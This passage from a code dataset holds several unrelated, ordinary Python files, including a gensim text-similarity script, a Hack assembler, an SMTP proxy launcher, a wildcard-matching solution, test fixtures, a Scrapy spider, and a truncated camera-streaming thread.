课程名\\t课程简介\\t课程详情,并已去除html等干扰因素\ncourses = ['Writing II: Rhetorical Composing', 'Genetics and Society: A Course for Educators', 'General Game Playing', 'Genes and the Human Condition (From Behavior to Biotechnology)', 'A Brief History of Humankind', 'New Models of Business in Society', 'Analyse Numrique pour Ingnieurs', 'Evolution: A Course for Educators', 'Coding the Matrix: Linear Algebra through Computer Science Applications', 'The Dynamic Earth: A Course for Educators']\n#实际的 courses_name = [course.split('\\t')[0] for course in courses]\ncourses_name = ['Writing II: Rhetorical Composing', 'Genetics and Society: A Course for Educators', 'General Game Playing', 'Genes and the Human Condition (From Behavior to Biotechnology)', 'A Brief History of Humankind', 'New Models of Business in Society', 'Analyse Numrique pour Ingnieurs', 'Evolution: A Course for Educators', 'Coding the Matrix: Linear Algebra through Computer Science Applications', 'The Dynamic Earth: A Course for Educators']\n\n\n\n\"\"\"预处理(easy_install nltk)\"\"\"\n\n#引入nltk\nimport nltk\n#nltk.download() #下载要用的语料库等,时间比较长,最好提前准备好\n# nltk.download('punkt')\n\n#分词\nfrom nltk.corpus import brown\ntexts_lower = [[word for word in document.lower().split()] for document in courses]\nfrom nltk.tokenize import word_tokenize\ntexts_tokenized = [[word.lower() for word in word_tokenize(document)] for document in courses]\n\n#去除停用词\nfrom nltk.corpus import stopwords\nenglish_stopwords = stopwords.words('english')\ntexts_filtered_stopwords = [[word for word in document if not word in english_stopwords] for document in texts_tokenized]\n#去除标点符号\nenglish_punctuations = [',', '.', ':', ';', '?', '(', ')', '[', ']', '&', '!', '*', '@', '#', '$', '%']\ntexts_filtered = [[word for word in document if not word in english_punctuations] for document in texts_filtered_stopwords]\n\n#词干化\nfrom nltk.stem.lancaster import LancasterStemmer\nst = LancasterStemmer()\ntexts_stemmed = [[st.stem(word) for word in docment] for docment in texts_filtered]\n\n\n#去除过低频词\nall_stems = sum(texts_stemmed, [])\nstems_once = set(stem for stem in set(all_stems) if all_stems.count(stem) == 1)\ntexts = [[stem for stem in text if stem not in stems_once] for text in texts_stemmed]\n\n\"\"\"\n注意:本例子中只用了course_name字段,大多数word频率过低,造成去除低频词后,有些document可能为空\n 因此后面的处理结果只做示范\n\"\"\"\n\n\n\"\"\"\n引入gensim,正式开始处理(easy_install gensim)\n\n输入:\n 1.去掉了停用词\n 2.去掉了标点符号\n 3.处理为词干\n 4.去掉了低频词\n\n\"\"\"\nfrom gensim import corpora, models, similarities\n\n#为了能看到过程日志\nimport logging\nlogging.basicConfig(format='%(asctime)s : %(levelname)s : %(message)s', level=logging.INFO)\n\ndictionary = corpora.Dictionary(texts)\ncorpus = [dictionary.doc2bow(text) for text in texts] #doc2bow(): 将collection words 转为词袋,用两元组(word_id, word_frequency)表示\ntfidf = models.TfidfModel(corpus)\ncorpus_tfidf = tfidf[corpus]\n\n#拍脑袋的:训练topic数量为10的LSI模型\nlsi = models.LsiModel(corpus_tfidf, id2word=dictionary, num_topics=10)\nindex = similarities.MatrixSimilarity(lsi[corpus]) # index 是 gensim.similarities.docsim.MatrixSimilarity 实例\n\n\n\"\"\"\n对具体对象相似度匹配\n\"\"\"\n#选择一个基准数据\nml_course = texts[2]\nml_bow = dictionary.doc2bow(ml_course)\n#在上面选择的模型数据 lsi 中,计算其他数据与其的相似度\nml_lsi = lsi[ml_bow] #ml_lsi 形式如 (topic_id, topic_value)\nsims = index[ml_lsi] #sims 是最终结果了, index[xxx] 调用内置方法 __getitem__() 来计算ml_lsi\n#排序,为输出方便\nsort_sims = sorted(enumerate(sims), key=lambda item: -item[1])\n\n#查看结果\nprint(sort_sims[0:10]) #看下前10个最相似的,第一个是基准数据自身\nprint(courses_name[2]) #看下实际最相似的数据叫什么","sub_path":"LearnIR/LDA/LDA4.py","file_name":"LDA4.py","file_ext":"py","file_size_in_byte":4147,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"587711088","text":"import os\nimport sys\n\nTAB = '\\t'\nSPACE = ' '\nA_COMMAND = 'A_COMMAND'\nC_COMMAND = 'C_COMMAND'\nL_COMMAND = 'L_COMMAND'\nA_CODE_PREFIX = '0'\nC_CODE_PREFIX = '1'\nSEMICOLON = ';'\nEQUAL = '='\nL_PREFIX = '('\nR_PREFIX = ')'\nA_PREFIX = '@'\nPATH_INDEX = 1\nNEW_LINE_TRAIL = '\\n'\nSTART_OF_COMMENT = '//'\nREAD_MODE = 'r'\nWRITE_MODE = 'w'\nEMPTY_TRAILS = {'\\n', '\\r\\n'}\nASM_END = \".asm\"\nHACK_END = \".hack\"\n\n\nclass Assembler:\n \"\"\" a class that represent an assembler object who takes a list of instructions in assembly language and\n translate them to machine language \"\"\"\n\n PRE_DEFINED_LABELS = {'R0': '{0:015b}'.format(0),\n 'R1': '{0:015b}'.format(1),\n 'R2': '{0:015b}'.format(2),\n 'R3': '{0:015b}'.format(3),\n 'R4': '{0:015b}'.format(4),\n 'R5': '{0:015b}'.format(5),\n 'R6': '{0:015b}'.format(6),\n 'R7': '{0:015b}'.format(7),\n 'R8': '{0:015b}'.format(8),\n 'R9': '{0:015b}'.format(9),\n 'R10': '{0:015b}'.format(10),\n 'R11': '{0:015b}'.format(11),\n 'R12': '{0:015b}'.format(12),\n 'R13': '{0:015b}'.format(13),\n 'R14': '{0:015b}'.format(14),\n 'R15': '{0:015b}'.format(15),\n 'SP': '{0:015b}'.format(0),\n 'LCL': '{0:015b}'.format(1),\n 'ARG': '{0:015b}'.format(2),\n 'THIS': '{0:015b}'.format(3),\n 'THAT': '{0:015b}'.format(4),\n 'SCREEN': '{0:015b}'.format(16384),\n 'KBD': '{0:015b}'.format(24576)\n }\n\n VARIABLES_RAM_LOCATION = 16\n\n def __init__(self, file):\n \"\"\" Initialize the symbol table with all the predefined symbols and their pre-allocated RAM addresses \"\"\"\n self.parser = Parser(file)\n self.code = Code()\n\n self.symbols = SymbolTable()\n self.init_predefined_labels()\n\n self.file = open(file.replace(ASM_END, HACK_END), WRITE_MODE)\n\n def init_predefined_labels(self):\n \"\"\" set the pre-defined lables\"\"\"\n for label in Assembler.PRE_DEFINED_LABELS:\n self.symbols.add_entry(label, Assembler.PRE_DEFINED_LABELS[label])\n\n def assemble(self):\n \"\"\" preform the parsing process\"\"\"\n self.first_pass()\n self.second_pass()\n\n def first_pass(self):\n parser = self.parser\n parser.reset()\n rom_address = 0\n while True:\n if parser.command_type() is L_COMMAND:\n self.symbols.add_entry(parser.symbol(), rom_address)\n else:\n rom_address += 1\n if not parser.has_more_commands():\n break\n\n parser.advance()\n\n def second_pass(self):\n self.parser.reset()\n var_address = Assembler.VARIABLES_RAM_LOCATION\n while True:\n\n if self.parser.command_type() is A_COMMAND:\n symbol = self.parser.symbol()\n if not (symbol.isdigit() or (symbol in self.symbols)):\n # add symbol to table\n self.symbols.add_entry(symbol, var_address)\n var_address += 1\n\n self.file.write(self.translate_A_instruction())\n\n elif self.parser.command_type() is C_COMMAND:\n self.file.write(self.translate_C_instruction())\n\n if not self.parser.has_more_commands():\n break\n self.parser.advance()\n\n self.file.close()\n\n def translate_A_instruction(self):\n \"\"\" Returns a string of a 16 bit binary number of an A instruction \"\"\"\n binary_code = A_CODE_PREFIX + self.symbols.get_address(self.parser.symbol())\n return binary_code + '\\n'\n\n def translate_C_instruction(self):\n \"\"\" Returns a string of a 16 bit binary number of an C instruction \"\"\"\n assert self.parser.command_type() == C_COMMAND\n comp = self.code.comp(self.parser.comp())\n dest = self.code.dest(self.parser.dest())\n jump = self.code.jump(self.parser.jump())\n binary_code = C_CODE_PREFIX + comp + dest + jump\n return binary_code + NEW_LINE_TRAIL\n\n\nclass SymbolTable:\n \"\"\" Keeps a correspondence between symbolic labels and numeric addresses.\"\"\"\n\n def __init__(self):\n \"\"\" Creates a new empty symbol table.\"\"\"\n self.table = dict()\n\n def add_entry(self, symbol, address):\n \"\"\" Adds the pair (symbol,address) to the table.\"\"\"\n if type(address) == int:\n self.table[symbol] = '{0:015b}'.format(address)\n else:\n self.table[symbol] = address\n\n def __contains__(self, symbol):\n \"\"\" Does the symbol table contain the given symbol?\"\"\"\n return self.table.get(symbol) is not None\n\n def get_address(self, symbol):\n \"\"\" Returns the address associated with the symbol. \"\"\"\n if symbol.isdigit():\n return '{0:015b}'.format(int(symbol))\n\n return self.table.get(symbol)\n\n\nclass Code:\n \"\"\" Translates Hack assembly language mnemonics into binary codes\"\"\"\n COMP_CODE = {'0': '110101010',\n '1': '110111111',\n '-1': '110111010',\n 'D': '110001100',\n 'A': '110110000',\n '!D': '110001101',\n '!A': '110110001',\n '-D': '110001111',\n '-A': '110110011',\n 'D+1': '110011111',\n '1+D': '110011111',\n 'A+1': '110110111',\n '1+A': '110110111',\n 'D-1': '110001110',\n 'A-1': '110110010',\n 'D+A': '110000010',\n 'A+D': '110000010',\n 'D-A': '110010011',\n 'A-D': '110000111',\n 'D&A': '110000000',\n 'A&D': '110000000',\n 'D|A': '110010101',\n 'A|D': '110010101',\n 'M': '111110000',\n '!M': '111110001',\n '-M': '111110011',\n 'M+1': '111110111',\n '1+M': '111110111',\n 'M-1': '111110010',\n 'D+M': '111000010',\n 'M+D': '111000010',\n 'D-M': '111010011',\n 'M-D': '111000111',\n 'D&M': '111000000',\n 'M&D': '111000000',\n 'D|M': '111010101',\n 'M|D': '111010101',\n 'D>>': '010010000',\n 'D<<': '010110000',\n 'A>>': '010000000',\n 'A<<': '010100000',\n 'M>>': '011000000',\n 'M<<': '011100000'\n }\n\n DEST_CODE = {'': '000',\n 'M': '001',\n 'D': '010',\n 'MD': '011',\n 'DM': '011',\n 'A': '100',\n 'AM': '101',\n 'MA': '101',\n 'AD': '110',\n 'DA': '110',\n 'AMD': '111',\n 'ADM': '111',\n 'MAD': '111',\n 'MDA': '111',\n 'DMA': '111',\n 'DAM': '111', }\n\n JUMP_CODE = {'': '000',\n 'JGT': '001',\n 'JEQ': '010',\n 'JGE': '011',\n 'JLT': '100',\n 'JNE': '101',\n 'JLE': '110',\n 'JMP': '111'}\n\n NULL = '000'\n\n def dest(self, mnemonic):\n \"\"\" Returns the binary code of the dest mnemonic.\"\"\"\n assert mnemonic is not None, 'your mnemonic is: ' + str(mnemonic)\n return Code.DEST_CODE.get(mnemonic, Code.NULL)\n\n def comp(self, mnemonic):\n \"\"\" Returns the binary code of the comp mnemonic.\"\"\"\n return Code.COMP_CODE.get(mnemonic)\n\n def jump(self, mnemonic):\n \"\"\" Returns the binary code of the jump mnemonic\"\"\"\n assert mnemonic is not None, 'your mnemonic is: ' + str(mnemonic)\n return Code.JUMP_CODE.get(mnemonic, Code.NULL)\n\n\nclass Parser:\n\n @staticmethod\n def is_comment(line):\n \"\"\"\n Checks if given line is a comment.\n :param line: Line to check.\n :return: True iff line is a comment.\n \"\"\"\n return line[0:2] == START_OF_COMMENT or (line in EMPTY_TRAILS)\n\n @staticmethod\n def strip_comments(line):\n \"\"\"\n Strips comments off line of code.\n :param line: Given line of code.\n :return: New, comment-stripped line.\n \"\"\"\n return line.split('//')[0]\n\n def __init__(self, path):\n \"\"\"\n Opens the input file and gets ready to parse it.\n :param path: Path of the assembly code.\n \"\"\"\n\n self.lines = self.first_run(path)\n self.index = 0\n\n def first_run(self, filepath):\n \"\"\"\n Makes first run over code and removes comments and white spaces.\n In addition\n :param filepath: Path of the asm code.\n :return: List of all lines without comments and blank lines.\n \"\"\"\n with open(filepath) as file:\n code_lines = []\n for line in file:\n line = (\n line.split(START_OF_COMMENT, 1)[0].replace(SPACE, '').replace(TAB, '').replace(NEW_LINE_TRAIL, ''))\n if line != \"\":\n code_lines.append(line)\n\n return code_lines\n\n def has_more_commands(self):\n \"\"\"\n Checks if there any more commands in the input.\n :return:\n \"\"\"\n return self.index < len(self.lines) - 1\n\n def advance(self):\n \"\"\"\n Reads the next command from the input and makes it the current command.\n Should be called only if hasMoreCommands() is true.\n Initially the is no current command.\n :return: True iff there are more commands to parse.\n \"\"\"\n if self.has_more_commands():\n self.index += 1\n\n def reset(self):\n \"\"\"\n Resets the Parser to the beginning of the code file.\n \"\"\"\n self.index = 0\n\n def command_type(self):\n \"\"\"\n :return: The type of the current \tcommand:\n - A_COMMAND for @Xxx where Xxx is either a symbol or a\tdecimal number\n - C_COMMAND for\tdest=comp;jump\n - L_COMMAND (actually, pseudocommand) for (Xxx) where Xxx is a symbol.\n \"\"\"\n first_char = self.lines[self.index][0]\n return {\n A_PREFIX: A_COMMAND,\n L_PREFIX: L_COMMAND\n }.get(first_char, C_COMMAND)\n\n def symbol(self):\n \"\"\"\n :return: The symbol or decimal Xxx of the current command @Xxx or (Xxx). Should be called\n only when commandType() is A_COMMAND or L_COMMAND.\n \"\"\"\n assert self.command_type() in [A_COMMAND, L_COMMAND]\n\n symbol = self.lines[self.index].lstrip(A_PREFIX + L_PREFIX)\n return symbol.rstrip(R_PREFIX) if (self.command_type() == L_COMMAND) else symbol\n\n def dest(self):\n \"\"\"\n :return: The dest mnemonic in the current C-command (8 possiblities).\n Should be called only when commandType() is C_COMMAND.\n \"\"\"\n assert (self.command_type() == C_COMMAND)\n return self.lines[self.index].rpartition(EQUAL)[0] # if there is no '=' it returns ''\n\n def comp(self):\n \"\"\"\n :return: The comp mnemonic in the current C-command (28 possibilities).\n Should be called only when commandType() is C_COMMAND.\n \"\"\"\n assert (self.command_type() == C_COMMAND), 'your line is: ' + str(self.lines[self.index])\n comp = self.lines[self.index].rpartition(EQUAL)[-1]\n # if there is '=' we get the right side of it, else we got the string\n comp = comp.partition(SEMICOLON)[0]\n # if there is ';' we get the left side of it, else we got the same string\n return comp\n\n def jump(self):\n \"\"\"\n :return: The jump mnemonic in the current C-command (8 possibilities).\n Should be called only when commandType() is C_COMMAND.\n \"\"\"\n assert (self.command_type() == C_COMMAND)\n return self.lines[self.index].partition(SEMICOLON)[-1]\n\n\nif __name__ == \"__main__\":\n file = sys.argv[1]\n if os.path.isfile(file):\n if file.endswith('.asm'):\n assembler = Assembler(file)\n assembler.assemble()\n\n elif os.path.isdir(file):\n for files in os.listdir(file):\n file = os.path.join(file, files)\n if file.endswith('.asm') and os.path.isfile(file):\n assembler = Assembler(file)\n assembler.assemble()\n else:\n print(\"invalid file path\")\n","sub_path":"project6/Assembler.py","file_name":"Assembler.py","file_ext":"py","file_size_in_byte":12848,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"177166444","text":"#! /usr/bin/env python3\r\n'''\r\nCreated on 28.08.2012\r\n\r\n@author: Nicolai Ehemann\r\n'''\r\n\"\"\"An RFC 2821 smtp proxy.\r\n\r\nUsage: %(program)s [options]\r\n\r\nOptions:\r\n\r\n --nosetuid\r\n -n\r\n This program generally tries to setuid `nobody', unless this flag is\r\n set. The setuid call will fail if this program is not run as root (in\r\n which case, use this flag).\r\n\r\n --version\r\n -V\r\n Print the version number and exit.\r\n\r\n --class classname\r\n -c classname\r\n Use `classname' as the concrete SMTP proxy class. Uses `PureProxy' by\r\n default.\r\n\r\n --debug\r\n -d\r\n Turn on debugging prints.\r\n\r\n --help\r\n -h\r\n Print this message and exit.\r\n\r\nVersion: %(__version__)s\r\n\r\nIf localhost is not given then `localhost' is used, and if localport is not\r\ngiven then 8025 is used. If remotehost is not given then `localhost' is used,\r\nand if remoteport is not given, then 25 is used.\r\n\"\"\"\r\n\r\n\f\r\n# Overview:\r\n# PureProxy - Proxies all messages to a real smtpd which does final\r\n# delivery. One known problem with this class is that it doesn't handle\r\n# SMTP errors from the backend server at all. This should be fixed\r\n# (contributions are welcome!).\r\n#\r\n\r\n# Author: Barry Warsaw \r\n#\r\n# TODO:\r\n#\r\n# - support mailbox delivery\r\n# - alias files\r\n# - ESMTP\r\n# - handle error codes from the backend smtpd\r\n\r\nimport sys\r\nimport os\r\nimport errno\r\nimport getopt\r\nimport pkgutil\r\nimport traceback\r\n\r\nimport sfsp\r\nfrom sfsp import debug\r\n\r\n__all__ = [\"SMTPServer\", \"PureProxy\"]\r\n\r\nprogram = sys.argv[0]\r\n__version__ = 'Python SMTP proxy version 0.2'\r\n\r\nCOMMASPACE = ', '\r\n\r\ndef usage(code, msg = ''):\r\n print(__doc__ % globals(), file = sys.stderr)\r\n if msg:\r\n print(msg, file = sys.stderr)\r\n sys.exit(code)\r\n\r\nclass OptDict(dict):\r\n\r\n def __getattr__(self, name):\r\n return self.get(name)\r\n\r\n def __setattr__(self, name, value):\r\n if not name in self:\r\n self[name] = value\r\n super().__setattr__(name, value)\r\n\f\r\nclass Options(OptDict):\r\n setuid = 1\r\n localaddress = 'localhost'\r\n localport = 8025\r\n remoteaddress = 'localhost'\r\n remoteport = 25\r\n\r\n modules = OptDict()\r\n modules.delay = OptDict()\r\n modules.delay.enabled = False\r\n modules.dnsbl = OptDict()\r\n modules.dnsbl.enabled = False\r\n modules.greylisting = OptDict()\r\n modules.greylisting.enabled = False\r\n modules.spamassassin = OptDict()\r\n modules.spamassassin.enabled = True\r\n\r\n delay = 0\r\n defer_errors = True\r\n\r\ndef parseargs():\r\n try:\r\n opts, args = getopt.getopt(\r\n sys.argv[1:], 'c:dhnp:P:s:S:V',\r\n ['class=', 'debug', 'help', 'nosetuid', 'localport=', 'remoteport=', 'localhost=', 'remotehost=', 'version'])\r\n except getopt.error as e:\r\n usage(1, e)\r\n\r\n options = Options()\r\n for opt, arg in opts:\r\n if opt in ('-c', '--class'):\r\n options.classname = arg\r\n elif opt in ('-d', '--debug'):\r\n debug.enable()\r\n elif opt in ('-h', '--help'):\r\n usage(0)\r\n elif opt in ('-n', '--nosetuid'):\r\n options.setuid = 0\r\n elif opt in ('-p', '--remoteport'):\r\n try:\r\n options.remoteport = int(arg)\r\n except ValueError:\r\n usage(1, 'Bad remote port: %s' % arg)\r\n elif opt in ('-P', '--localport'):\r\n try:\r\n options.localport = int(arg)\r\n except ValueError:\r\n usage(1, 'Bad local port: %s' % arg)\r\n elif opt in ('-s', '--remotehost'):\r\n options.remoteaddress = arg\r\n elif opt in ('-S', '--localhost'):\r\n options.localaddress = arg\r\n elif opt in ('-V', '--version'):\r\n print(__version__, file = sys.stderr)\r\n sys.exit(0)\r\n\r\n # parse the rest of the arguments\r\n if 0 < len(args):\r\n usage(1, 'Invalid arguments: %s' % COMMASPACE.join(args))\r\n\r\n return options\r\n\r\ndef load_plugin(plugin, *args):\r\n try:\r\n __import__(plugin)\r\n sfsp.plugin.Plugin.registerModule(plugin, *args)\r\n except ImportError as err:\r\n print('Cannot import module \"{}\"'.format(plugin), file = sys.stderr)\r\n traceback.print_exc()\r\n\r\ndef load_plugins(modopts):\r\n for _, plugin, _ in pkgutil.iter_modules(['plugins']):\r\n if not modopts[plugin] or modopts[plugin].enabled:\r\n load_plugin('plugins.%s' % plugin)\r\n pass\r\n\r\ndef require_version_3_2():\r\n if 3 > sys.version_info.major or 2 > sys.version_info.minor:\r\n print(\"%(program) requires at least python version >= 3.2\" % globals())\r\n sys.exit(1)\r\n\r\nif __name__ == '__main__':\r\n require_version_3_2()\r\n options = parseargs()\r\n load_plugins(options.modules)\r\n proxy = sfsp.Proxy(options, __version__)\r\n # Become nobody\r\n if options.setuid:\r\n try:\r\n import pwd\r\n except ImportError:\r\n print('Cannot import module \"pwd\"; try running with -n option.', file = sys.stderr)\r\n sys.exit(1)\r\n nobody = pwd.getpwnam('nobody')[2]\r\n try:\r\n os.setuid(nobody)\r\n except OSError as e:\r\n if e.errno != errno.EPERM: raise\r\n print('Cannot setuid \"nobody\"; try running with -n option.', file = sys.stderr)\r\n sys.exit(1)\r\n try:\r\n proxy.run()\r\n except KeyboardInterrupt:\r\n pass\r\n","sub_path":"src/sfsp.py","file_name":"sfsp.py","file_ext":"py","file_size_in_byte":5446,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"329217073","text":"'''给定一个字符串 (s) 和一个字符模式 (p) ,实现一个支持 '?' 和 '*' 的通配符匹配。\n\n'?' 可以匹配任何单个字符。\n'*' 可以匹配任意字符串(包括空字符串)。'''\n\nclass Solution:\n def isMatch(self, s, p):\n \"\"\"\n :type s: str\n :type p: str\n :rtype: bool\n \"\"\"\n dp=[[False for col in range(len(p)+1)]for row in range(len(s)+1)]\n dp[0][0]=True\n for i in range(len(s)+1):\n for j in range(1,len(p)+1):\n if p[j-1]==\"*\":\n dp[i][j]=dp[i][j-1] or (i>0 and dp[i-1][j])\n else:\n dp[i][j]=i>0 and dp[i-1][j-1] and (s[i-1]==p[j-1] or p[j-1]==\"?\")\n return dp[len(s)][len(p)]\n\n # if not p:\n # return not s\n # if len(p)==1:\n # if p[0]==\"*\":\n # return True\n # else:\n # return len(s)==1 and (s[0]==p[0] or p[0]==\"?\")\n # if p[0]!=\"*\":\n # if not s:\n # return False\n # else:\n # return (p[0]==s[0] or p[0]==\"?\") and self.isMatch(s[1:len(s)],p[1:len(p)])\n # else:\n # while len(s)!=0:\n # if self.isMatch(s,p[1:len(p)]):\n # return True\n # s=s[1:len(s)]\n # return self.isMatch(s,p[1:len(p)])\n\n'''未懂原理'''","sub_path":"nuSolved/44. 通配符匹配.py","file_name":"44. 通配符匹配.py","file_ext":"py","file_size_in_byte":1391,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"23933457","text":"########\n# Copyright (c) 2018 Cloudify Platform Ltd. All rights reserved\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# * See the License for the specific language governing permissions and\n# * limitations under the License.\n\nimport pytest\n\nfrom cosmo_tester.framework import util\nfrom cosmo_tester.framework.fixtures import image_based_manager\nfrom cosmo_tester.framework.examples.hello_world import centos_hello_world\n\n\nmanager = image_based_manager\n\n\n@pytest.fixture(scope='function')\ndef vm_infrastructure(cfy, manager, attributes, ssh_key, logger, tmpdir):\n hw = centos_hello_world(cfy,\n manager,\n attributes,\n ssh_key,\n logger,\n tmpdir)\n hw.blueprint_file = util.get_resource_path(\n 'blueprints/deployment_proxy/vm_infrastructure.yaml'\n )\n hw.blueprint_id = 'os_infra'\n hw.deployment_id = 'os_infra'\n yield hw\n hw.cleanup()\n\n\n@pytest.fixture(scope='function')\ndef web_app(cfy, manager, attributes, ssh_key, logger, tmpdir):\n hw = centos_hello_world(cfy,\n manager,\n attributes,\n ssh_key,\n logger,\n tmpdir)\n hw.blueprint_file = util.get_resource_path(\n 'blueprints/deployment_proxy/web_app.yaml'\n )\n hw.inputs.clear()\n yield hw\n hw.cleanup()\n\n\ndef test_deployment_proxy(cfy,\n manager,\n vm_infrastructure,\n web_app,\n tmpdir,\n logger):\n # We're uploading a blueprint that creates an infrastructure for a VM,\n # and then exposes capabilities, which will be used in the application\n logger.info('Deploying infrastructure blueprint')\n\n vm_infrastructure.upload_blueprint()\n vm_infrastructure.create_deployment()\n vm_infrastructure.install()\n\n logger.info('Deploying application blueprint')\n # This application relies on capabilities that it gets from the vm_infra,\n # as well as utilizing the new agent proxy ability to connect to an\n # agent of a node installed previously in another deployment (vm_infra)\n web_app.verify_all()\n logger.info('Webserver successfully validated over proxy')\n","sub_path":"cosmo_tester/test_suites/image_based_tests/deployment_proxy_test.py","file_name":"deployment_proxy_test.py","file_ext":"py","file_size_in_byte":2784,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"383758161","text":"import hashlib\n\nimport scrapy\n\nfrom kingfisher_scrapy.spiders.uruguay_base import UruguayBase\n\n\nclass UruguayRecords(UruguayBase):\n name = 'uruguay_records'\n base_record_url = 'https://www.comprasestatales.gub.uy/ocds/record/{}'\n\n def parse_list(self, response):\n if response.status == 200:\n root = response.xpath('//item/title/text()').getall()\n\n if self.sample:\n root = [root[0]]\n\n for id_compra in root:\n url = self.get_url_compra(id_compra)\n yield scrapy.Request(\n url,\n meta={'kf_filename': hashlib.md5(url.encode('utf-8')).hexdigest() + '.json',\n 'data_type': 'record_package'}\n )\n\n else:\n yield self.build_file_error_from_response(response)\n\n def get_url_compra(self, text):\n return self.base_record_url.format(text.split(',')[0].replace('id_compra:', ''))\n","sub_path":"kingfisher_scrapy/spiders/uruguay_records.py","file_name":"uruguay_records.py","file_ext":"py","file_size_in_byte":964,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"458291279","text":"import os\nimport unittest\n\nfrom . import utils\nfrom jupyterlab_geojs import GeoJSMap\n\n\nclass TestRasterFeatures(unittest.TestCase):\n\n def test_rgb_image(self):\n '''Test creating raster feature'''\n filename = os.path.join(utils.data_folder, 'rasterwithpalette.tif')\n\n geo_map = GeoJSMap()\n # geo_map.center = {'x': -76.5, 'y': 43.0};\n # geo_map.zoom = 7;\n geo_map.createLayer('osm');\n feature_layer = geo_map.createLayer('feature', features=['quad.image'])\n quad = feature_layer.createFeature('raster', filename=filename)\n quad.style = {\n 'opacity': 0.5\n }\n\n corners = quad.get_corner_points()\n geo_map.set_zoom_and_center(corners=corners)\n\n data = geo_map._build_data()\n #print(data)\n\n utils.validate_model(data)\n utils.write_model(data, 'raster-rgb_model.json')\n\n def test_utm_image(self):\n filename = os.path.join(utils.data_folder, 'utm.tif')\n\n geo_map = GeoJSMap()\n geo_map.center = {'x': -74.5, 'y': 6.0};\n geo_map.zoom = 10;\n geo_map.createLayer('osm');\n feature_layer = geo_map.createLayer('feature', features=['quad.image'])\n quad = feature_layer.createFeature('raster', filename=filename)\n quad.style = {\n 'opacity': 0.8\n }\n\n data = geo_map._build_data()\n #print(data)\n\n # Write model (don't need to validate again)\n utils.write_model(data, 'raster-utm_model.json')\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"test/python/test_raster_features.py","file_name":"test_raster_features.py","file_ext":"py","file_size_in_byte":1554,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"67742012","text":"# ---------------------------------------------------------------------\n# camerastream.py -- stream camera output to client\n#\n# Created Jan 2017 TastyDuck, DLB\n# ---------------------------------------------------------------------\n\n\nfrom subprocess import call\nimport base64, cv2, socket, sys, threading, time, traceback\nimport numpy as np\nimport evsslogger\n\nlogger = evsslogger.getLogger()\n\n\nclass BroadcastStream(threading.Thread):\n\tdef __init__(self, Conn, Addr):\n\t\tthreading.Thread.__init__(self)\n\t\tself.Conn = Conn\n\t\tself.Addr = Addr\n\t\tself.Cam = None\n\t\tself.CamIndex = -1\n\t\tself.CamNewIndex = 0\n\t\tself.CamSwitchLock = threading.Lock()\n\n\tdef setCam(self, camindex):\n\t\tself.CamSwitchLock.acquire()\n\t\tself.CamNewIndex = camindex\n\t\tself.CamSwitchLock.release()\n\n\tdef killCam(self):\n\t\tif self.Cam is not None:\n\t\t\ttry:\n\t\t\t\tself.Cam.release()\n\t\t\texcept:\n\t\t\t\tlogger.info(\"Unable to release Cam %d\" % self.CamIndex)\n\t\tself.Cam = None\n\t\tself.CamIndex = -1\n\n\tdef setCamForReal(self, camindex):\n\t\tlogger.info(\"Cam %d Selected\" % camindex)\n\t\tself.killCam()\n\t\tself.CamIndex = camindex\n\t\tif self.CamIndex >= 0:\n\t\t\ttry:\n\t\t\t\tself.Cam = cv2.VideoCapture(self.CamIndex)\n\t\t\texcept:\n\t\t\t\tlogger.warn(\"Unable to setup Cam %d for capture\" % self.CamIndex)\n\t\t\t\tself.Cam = None\n\t\t\tif self.CamIndex == 0:\n\t\t\t\tcall([\"v4l2-ctl\", \"-c\", \"exposure_auto=1\"])\n\t\t\t\tcall([\"v4l2-ctl\", \"-c\", \"exposure_absolute=5\"])\n\t\t\t\tcall([\"v4l2-ctl\", \"-c\", \"brightness=30\"])\n\n\tdef run(self):\n\t\tself.setCamForReal(self.CamNewIndex)\n\t\tlogger.info(\"BroadcastThread started\")\n\t\thaveErr = False\n\t\tFramesGrabbed = 0\n\t\tFPS = 0\n\t\tBenchmarkTimes = [] #StartGrabTime, StartColorTime, StartEncodeTime, StartSendTime, EndTime\n\t\tAverageTimes = [] #Array containing several copies of BenchmarkTime (s)\n\t\twhile True:\n\t\t\ttry:\n\t\t\t\tStartTime = time.time()\n\t\t\t\terr = \"\"\n\t\t\t\tBenchmarkTimes.append(time.time())\n\t\t\t\tself.CamSwitchLock.acquire()\n\t\t\t\tnewindex = self.CamNewIndex\n\t\t\t\tself.CamSwitchLock.release()\n\t\t\t\tif newindex != self.CamIndex:\n\t\t\t\t\tself.setCamForReal(newindex)\n\t\t\t\thaveFrame = False\n\t\t\t\tif self.Cam is not None:\n\t\t\t\t\ttry:\n\t\t\t\t\t\tret, frame = self.Cam.read()\n\t\t\t\t\t\thaveFrame = True\n\t\t\t\t\t\thaveErr = False\n\t\t\t\t\texcept:\n\t\t\t\t\t\tif not haveErr:\n\t\t\t\t\t\t\tlogger.error(\"Unable to take image from Cam %d\" % self.CamIndex)\n\t\t\t\t\t\t\terr = \"Cam Error at Jetson\"\n\t\t\t\t\t\thaveErr = True\n\t\t\t\t\t\thaveFrame = False\n\t\t\t\tif not haveFrame:\n\t\t\t\t\tframe = np.zeros((480,640,3), np.uint8)\n\t\t\t\tBenchmarkTimes.append(time.time())\n\t\t\t\tgray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n\t\t\t\tfont = cv2.FONT_HERSHEY_SIMPLEX\n\t\t\t\theight, width = gray.shape\n\t\t\t\tCurrentCam = self.CamIndex + 1\n\t\t\t\ttext = \"Cam %d | %dx%d\" % (CurrentCam, width, 